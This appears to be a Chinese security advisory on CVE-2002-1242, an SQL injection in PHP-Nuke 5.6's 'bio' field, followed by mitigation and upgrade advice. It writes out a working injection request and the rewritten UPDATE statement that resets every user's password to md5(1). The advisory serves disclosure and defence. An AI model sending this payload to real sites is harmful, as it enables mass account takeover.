PHP-Nuke SQL插入修改任意用户信息漏洞
发布日期:2002-10-31
更新日期:2002-11-06
受影响系统:Francisco Burzi PHP-Nuke 5.6
不受影响系统:Francisco Burzi PHP-Nuke 6.0
描述:
BUGTRAQ ID:
6088
CVE(CAN) ID:
CVE-2002-1242
PHP-Nuke是一个网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。
PHP-Nuke对"bio"字段缺少正确的过滤,远程攻击者可以利用这个漏洞通过SQL注入攻击修改用户信息,包括密码。
攻击者可以通过在"bio"字段插入'\',可以绕过引用,导致可以进行SQL注入,下面的操作可以修改任何PHP-NUKE用户密码为"1"。
要利用这个漏洞,用户必须登录PHP-NUKE系统,进入帐户管理,通过查看源代码判断用户UID后,提交如下请求:
modules.php?name=Your_Account&op=saveuser&uid=2&bio=%5c&EditedMessage=no&pass=xxxxx&vpass=xxxxx&newsletter=,+bio=0,+pass=md5(1)/*
可以更改SQL命令逻辑为:
UPDATE nuke_users
SET name = '',
email = '',
femail = '',
url = 'http://',
pass = 'xxxxx',
+--[ bio = '\',
| user_avatar = '',
| user_icq = '',
| user_occ = '',
| user_from = '',
| user_intrest = '',
| user_sig = '',
| user_aim = '',
| user_yim = '',
| user_msnm = '',
+--[ newsletter = ',
bio=0,pass=md5(1)/*' WHERE uid='2'
上面标识区域作为值存储到bio中,而"where"子句被注释,可以使更新的命令更新整个用户表密码信息。
<*来源:kill9 (
kill9@hackers.com)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=103616392903817&w=2
*>
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 暂时使用.htaccesss等访问控制授权限制对modules.php所在目录的访问。
厂商补丁:
Francisco Burzi
---------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
Francisco Burzi Upgrade PHP-Nuke 6.0
http://www.phpnuke.org./modules.php?name=Downloads&d_op=getit&lid=321浏览次数:4044
严重程度:0(网友投票)